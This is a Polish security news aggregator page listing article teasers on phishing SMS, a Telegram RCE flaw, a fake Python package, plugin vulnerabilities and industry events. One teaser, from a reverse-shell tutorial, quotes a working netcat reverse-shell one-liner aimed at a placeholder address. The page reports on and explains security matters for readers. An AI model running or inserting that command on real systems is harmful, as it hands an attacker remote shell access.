Serwisy SEC

Nowa tożsamość projektowania. Nowe podejście Samsu...

cyberdefence24.pl 2 lat temu Samsung Electronics opracowuje nowe produkty i wprowadza je na rynek, pamiętając o tym, by łączyć design z oczekiwaniami klientów. Nowe podejście firmy na 2030 rok zakłada, iż technologia musi być nie tylko innowacyjna, ale też niezbędna i współgrać ...

Jak przedłużyć żywotność baterii telefona?

politykabezpieczenstwa.pl 2 lat temu Czy istnieją sprawdzone sposoby na przedłużenie żywotności baterii, dzięki którym Twój telefon będzie działał efektywniej przez dłuższy czas? Jakie ustawienia telefonu należy optymalizować, aby oszczędzać energię? Jak zarządzać aplikacjami działający...

Znasz numer 8080? Za kilka dni otrzyma funkcję rat...

instalki.pl 2 lat temu Okazuje się, iż numer 8080 za kilka dni zyska ciekawą funkcjonalność. Zadowolone będą przede wszystkim osoby ceniące bezpieczeństwo.

⚠️ Uwaga na SMS-y dotyczące “długów”

niebezpiecznik.pl 2 lat temu Od rana na polskie numery telefonów spływają SMS-y, które zwracają się do Was po imieniu i nazwisku, a następnie informują o ryzyku wpisania Was na listę dłużników i zachęcają Polaków do pobrania raportu. Odradzamy przechodzenie na stronę “BazaWindyk...

OWASP secureCodeBox – historia pewnego artykułu

vilya.pl 2 lat temu OWASP secureCodeBox - rozwiązanie wspomagające automatyzację testów bezpieczeństwa w środowisku Kubernetes.

Zdalne wykonanie kodu (RCE) w kliencie Telegram dl...

sekurak.pl 2 lat temu Od kilku dni krążyły pogłoski o rzekomym ataku RCE (Remote Code Execution) w kliencie komunikatora Telegrama dla komputerów z Windows. Okazały się prawdziwe, mimo pierwotnych zaprzeczeń ze strony twórców Telegrama. Przyczyną błędu była literówka w ko...

TeleOdpowiedzialny Roku 2023. Pomagają społecznie,...

angora24.pl 2 lat temu Firmy zostały nagrodzone za prowadzenie działań w ramach tzw. społecznej odpowiedzialności biznesu. „Wspieramy innowacyjność i wzmacnianie relacji z interesariuszami operatorów, promujemy ograniczanie negatywnego wpływu działalności przedsiębiorstw n...

#CyberMagazyn: Trening cyberbezpieczeństwa skrojon...

cyberdefence24.pl 2 lat temu Zapewnienie **zaawansowanej ochrony systemów oraz wypracowanie solidnej strategii [cyberbezpieczeństwa**](https://cyberdefence24.pl/cyberbezpieczenstwo/cybermagazyn-zdrowie-psychiczne-wyzwania-w-pracy-w-cyberbezpieczenstwie) są w tej chwili najważnie...

Reverse shell bez mkfifo

nfsec.pl 2 lat temu J eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to dzięki telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ: mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f Na początku tworzony jest nazwany potok FIFO za...

15 000 razy pobrano fałszywy pakiet Pythona

bulldogjob.pl 2 lat temu Pakiety generowane przez sztuczną inteligencję mogą być w rzeczywistości złośliwym oprogramowaniem. Sfabrykowany huggingface-cli dla Pythona pobrano aż 15 000 razy.Pusty pakiet został pobrany 15 000 razy, bo AI zmyśliło taką nazwę i uporczywie podpow...

Jak powinniśmy rozumieć bezpieczeństwo aplikacji k...

kapitanhack.pl 2 lat temu Każda organizacja opracowująca czy wdrażająca aplikacje w swoim środowisku musi posiadać mechanizmy kontroli ich bezpieczeństwa. Jednakże przedsiębiorstwa stoją przed pewnymi...

Jak adekwatnie rozmieścić kamery wokół domu?

politykabezpieczenstwa.pl 2 lat temu Jakie są podstawowe kroki do zapewnienia optymalnego bezpieczeństwa domu poprzez rozmieszczenie kamer? Co należy wziąć pod uwagę, decydując o lokalizacji kamer? Jakie są najlepsze praktyki, aby zminimalizować martwe pola i zapewnić wysoką jakość obra...

Aplikacja mObywatel wprowadza ePłatności

politykabezpieczenstwa.pl 2 lat temu Koleje nowości w aplikacji mObywatel. Tym razem uruchomiono opcję ePłatności. Dzięki tej funkcji można opłacić na przykład podatki. Uwaga, nowe możliwość nie jest jednak dostępna dla wszystkich!

Administracja serwerami — zalety modelu outsourcin...

itcontent.eu 2 lat temu Administracja serwerami – zalety modelu outsourcingowego Outsourcing administracji serwerami oferuje firmom elastyczność, umożliwiając im skoncentrowanie się na kluczowych aspektach ich...

18 sesja linuksowa

programistamag.pl 2 lat temu Sesja linuksowa to największa w Polsce darmowa konferencja poświęcona rozwiązaniom Open Source oraz najnowszym trendom w systemach rodziny GNU/Linux organizowana przez studentów z Akademickiego Stowarzyszenia Informatycznego (https://www.facebook.com...

Nie zaszyfrowali systemu, za to wykradli dane. Kol...

cyberdefence24.pl 2 lat temu Doniesienia o [atakach hakerskich](https://cyberdefence24.pl/cyberbezpieczenstwo/ataki-hakerskie-jaka-jest-swiadomosc-polakow) w krajach anglojęzycznych **są w ostatnim czasie dość częste**. Jednak takich przypadków mówiących o _jedynie częściowym su...

Europejskie firmy krytykują złagodzone zasady prze...

itreseller.com.pl 2 lat temu Deutsche Telekom, Orange, Airbus i 15 innych europejskich firm skrytykowało najnowszy projekt unijnego systemu certyfikacji cyberbezpieczeństwa (CCS), który ich zdaniem ułatwi hiperskalerom ubieganie się o unijne kontrakty na przetwarzanie w chmurze....

SECURE 2024. Nowa zimna wojna, bezpieczna AI, szan...

cyberdefence24.pl 2 lat temu **Patronat medialny**

14 lat temu udostępnił w sieci tajne dokumenty USA...

instalki.pl 2 lat temu Joe Biden ogłosił, iż rozważa prośbę Australii o porzucenie długotrwałych, amerykańskich wysiłków na rzecz ścigania Juliana Assange’a, założyciela WikiLeaks. Assange przed laty ujawnił w sieci liczne, poufne informacje pochodzące z rządowych dokument...

Wyciek w Microsoft. Wpadka giganta

cyberdefence24.pl 2 lat temu [TechCrunch](https://techcrunch.com/2024/04/09/microsoft-employees-exposed-internal-passwords-security-lapse/) we wtorek poinformował, iż **wrażliwe dane Microsoftu były do pobrania w internecie.** Co najgorsze, zasób, z którego pobierano dane **był ...

Jak hakerzy ze wschodu przed wyborami ekrany w cen...

zaufanatrzeciastrona.pl 2 lat temu Nasi wschodni sąsiedzi od dawna próbują wywierać wpływ na polską politykę dzięki kampanii dezinformacyjnych. Znamy zhakowane konta w mediach społecznościowych czy skrzynki pocztowe polityków, ale zhakowane ekrany w centrum handlowym to coś nowego. Ki...

Akcja pirotechników SG na lotnisku Warszawa-Modlin...

security-ops.pl 2 lat temu W dniu 10 kwietnia 2024 roku funkcjonariusze z Interwencyjnego Zespołu Minersko – Pirotechnicznego Placówki Straży Granicznej Warszawa-Modlin otrzymali informację o porzuconej na antresoli terminala reklamówce z niewidoczną zawartością. Po sprawdzeni...

Check Point: „28% wzrost cyberataków na świecie” r...

avlab.pl 2 lat temu 28-procentowy wzrost ataków oraz koncentracja cyberprzestępców na nauce i badaniach oraz sektorze administracyjno-wojskowym – tak wyglądał pierwszy kwartał 2024 roku w cyberprzestrzeni według ekspertów Check Point Research. Firma ostrzega przed szerz...

Pierwsza wersja „Global Digital Compact” opublikow...

politykabezpieczenstwa.pl 2 lat temu „Naszym celem jest włączająca, otwarta, bezpieczna i chroniona przyszłość cyfrowa dla wszystkich” – czytamy w ogólnoświatowym porozumieniu cyfrowym Global Digital Compact (GDC), które opublikowało Biuro Pełnomocnika ds. Technologii ONZ.

UWAGA! CISA wydaje zalecenia w celu minimalizacji ...

kapitanhack.pl 2 lat temu Taktyka oraz narzędzia Living Off the Land (LOtL) cieszą się coraz większym zainteresowaniem wśród cyberprzestępców, w tym podmiotów sponsorowanych przez...

CEECloud Services Distribution (Grupa Bakotech) og...

itreseller.com.pl 2 lat temu Na początku kwietnia CEEcloud, spółka należąca do Grupy Bakotech, ogłosiła podpisanie kontraktu z firmą Kaseya – od wielu lat uznawaną za lidera w obszarze kompleksowych rozwiązań IT. To kolejny, bardzo istotny krok dla dystrybutora, podkreślający je...

Nowe narzędzia AI od Google. Tego jeszcze nie było...

cyberdefence24.pl 2 lat temu Podczas konferencji Google Cloud Next 2024 w Las Vegas gigant technologiczny przedstawił nowości AI – **zarówno w istniejących już narzędziach, jak i w całkowicie nowych**. Konferencja rozpoczęła się 9 kwietnia i potrwa do czwartku 11 kwietnia.

Mowa nienawiści

instytutcyber.pl 2 lat temu Poniższe infografiki dotyczą mowy nienawiści. Poruszą one przede wszystkim tematy:

XV edycja Warszawskich Dni Informatyki. Święto bra...

cyberdefence24.pl 2 lat temu **Patronat medialny**

Formularz zwrotu – gdzie musisz go zamieścić?

legalniewsieci.pl 2 lat temu Ogrom dodatkowych obowiązków, które ustawodawca nakłada na e-sklepy może przyprawić niejednego sprzedawcę o ból głowy. Czasem sensowność nowych wymagań może budzić wątpliwości. Ten, o którym mowa poniżej jest bardzo istotny, a większość sprzedawców n...

Google Cloud Days – konferencja o bezpieczeństwie,...

programistamag.pl 2 lat temu Google Cloud Days to charytatywna konferencja budowana na praktycznym podejściu do chmury. Jej organizatorem jest partner Google Cloud – firma FOTC. Przez dwa dni warszawska siedziba Google (Warsaw HUB) stanie się miejscem wymiany myśli – dzielenia s...

Kiedy ostatnio aktualizowaliście wtyczki w WordPre...

homodigital.pl 2 lat temu Strony tworzone na platformie WordPress są stronami bezpiecznymi. Ale jednak pod warunkiem, iż ich właściciele pamiętają o aktualizacji wtyczek. Badacz cyberbezpieczeństwa, AmrAwad, wykrył niedawno kolejną podatność: krytyczną lukę we wtyczce LayerSl...

Atos poszukuje 600 mln euro w gotówce w ramach pla...

itreseller.com.pl 2 lat temu Francuska firma konsultingowa Atos musi zebrać 600 milionów euro (651 milionów dolarów) w gotówce, aby sfinansować swoją działalność w 2024 i 2025 roku, poinformowała we wtorek, przedstawiając swoje plany refinansowania. Gigant technologiczny, który ...

Od pliku PDF do infekcji – złośliwe oprogramowanie...

kapitanhack.pl 2 lat temu W styczniu FortiGuard Labs przeanalizowało plik PDF napisany w języku portugalskim, który rozpowszechnia wielofunkcyjne złośliwe oprogramowanie znane jako Byakugan. Podczas...

Dlaczego dzwoni do mnie spam?

politykabezpieczenstwa.pl 2 lat temu Czy zastanawiałeś się kiedykolwiek, dlaczego otrzymujesz niechciane połączenia telefoniczne? Skąd spamerzy mają Twój numer telefonu? Jakie techniki stosują, aby skłonić Cię do odebrania połączenia? I co najważniejsze, jak możesz się przed nimi skutec...

Modele AI wektorem ataku na infrastrukturę AaaS

sekurak.pl 2 lat temu Niedawno pisaliśmy o tym, jak wykorzystanie niebezpiecznych mechanizmów serializacji może być metodą ataku na developerów. Tym razem przedstawiamy research przeprowadzony przez WIZ, który korzystając z podobnych mechanizmów umożliwia atak na infrastr...

Zapraszamy Was na INSECON!

cybsecurity.org 2 lat temu Kongres INSECON na straży cyberbezpieczeństwa! Dzisiejsze wyzwania związane z cyberbezpieczeństwem wymagają ścisłej uwagi i zaangażowania ze strony organizacji i jednostek. W obliczu dynamicznego rozwoju technologii, cyberprzestępczość staje się cora...

Jak polskie nastolatki używają wycieków danych by ...

niebezpiecznik.pl 2 lat temu O wyciekach danych piszemy w Niebezpieczniku od 15 lat. Informowaliśmy o leakach baz danych pacjentów (i ich historii leczenia), o wyciekach wstydliwych zakupów i potężnych bazach adresów i telefonów pozyskiwanych z setek polskich sklepów internetowy...

Skrót do Map Google zniknął z wyszukiwarki?

politykabezpieczenstwa.pl 2 lat temu Wyszukiwarka Google znów nas zaskakuje! Zniknął znany i lubiany skrót do Map Google. Dlaczego tak się stało? Gdzie można go znaleźć, aby móc korzystać z jednej z najbardziej znanych i lubianych funkcji nawigacji.

Co wydarzyło się w cyberbezpieczeństwie w zeszłym ...

kapitanhack.pl 2 lat temu Kiedyś co poniedziałek publikowaliśmy zwięzłe podsumowanie wydarzeń z poprzedniego tygodnia. Zrezygnowaliśmy z tego, bo z założenia sprawdzamy informacje, które prezentujemy,...

Czy rozpoznasz, na którym obrazku ukrył się groźny...

itreseller.com.pl 2 lat temu Chyba wszyscy już wiemy, iż niebezpieczne wirusy mogą być przesyłane do nas w mailach, w formie załączników czy linków. Cyberprzestępcy mają jednak także inne metody. Potrafią ukryć złośliwe oprogramowanie w grafikach. Czy da się rozpoznać takie obra...

Zabezpieczanie danych przy wysyłce mailowej

politykabezpieczenstwa.pl 2 lat temu Badanie ClickMeeting pokazuje, iż tylko 20% użytkowników nie obawia się o swoje dane, a 41% czuje się bezpiecznie online. Wobec wszechobecnej technologii e-mail jako narzędzie do przesyłania dokumentów jest powszechny, oferując szybkość i wygodę. Mim...

Podatność w YubiKey Manager. Konieczna aktualizacj...

cyberdefence24.pl 2 lat temu Yubico [poinformowało,](https://www.yubico.com/support/security-advisories/ysa-2024-01/) iż YubiKey Manager GUI działające z uprawieniami administratora pozwalało na **uruchomienie przeglądarki z tymi samymi uprawnieniami.** Ważne jest to, iż podatno...

Na co uważać przy internetowych randkach? 9 zagroż...

kwestiabezpieczenstwa.pl 2 lat temu Poznaj 9 zagrożeń przy randkach online i sposoby na zachowanie bezpieczeństwa i prywatności. Jak bezpiecznie randkować przez internet?

Atak hakerski na popularny sklep online. DeeZee os...

cyberdefence24.pl 2 lat temu Tym razem celem cyberprzestępców padł internetowy [sklep DeeZee](https://deezee.pl/), który w korespondencji mailowej poinformował o naruszeniu danych i konieczności zmiany hasła przez wszystkich klientów.

Meta i Google ograniczają dostęp do informacji na ...

politykabezpieczenstwa.pl 2 lat temu Meta i Google rzekomo ograniczają informacje na temat zdrowia reprodukcyjnego na swoich platformach w Afryce, Azji i Ameryce Łacińskiej.

Koleżka myślał, iż robi LABy z bezpieczeństwa webo...

sekurak.pl 2 lat temu Portswigger to producent chyba najbardziej znanego narzędzia do testowania bezpieczeństwa aplikacji webowych – Burp Suite. Za to znalezisko wypłacono $5000 w ramach bug bounty. Co my tu mamy? Opis zaczyna się dość nietypowo: Nie zamierzałem tego zgła...

Film z YouTube oferuje cracka za darmo? Prawie na ...

cyberdefence24.pl 2 lat temu Chociaż statystyki wskazują, iż popularność piractwa w ostatnich latach wyraźnie spadła, kultura zdobywania gier i programów dzięki niedozwolonych metod, przez cały czas funkcjonuje. Bardzo często **trzeba się wysilić**, aby odnaleźć wiarygodne [źród...

Nowy pomysł Google. Płatna wyszukiwarka oparta o A...

cyberdefence24.pl 2 lat temu O planach giganta technologicznego czytamy w [raporcie](https://www.ft.com/content/2f4bfeb4-6579-4819-9f5f-b3a46ff59ed1) „Financial Times”. Dziennik powołuje się na „trzy dobrze poinformowane osoby związane z Google”. Nie wiadomo, kiedy nowa wyszukiw...

Korzystasz z mobilnej bankowości? BIK wie, jak pos...

homodigital.pl 2 lat temu Trzymasz telefon prosto przed sobą, a może korzystasz z niego, leżąc w łóżku? Jak gwałtownie wciskasz klawisze, gdy dokonujesz przelewu? Czy na komputerze wykonujesz chaotyczne czy uporządkowane ruchy myszką? VeloBank dołącza do grona banków stosując...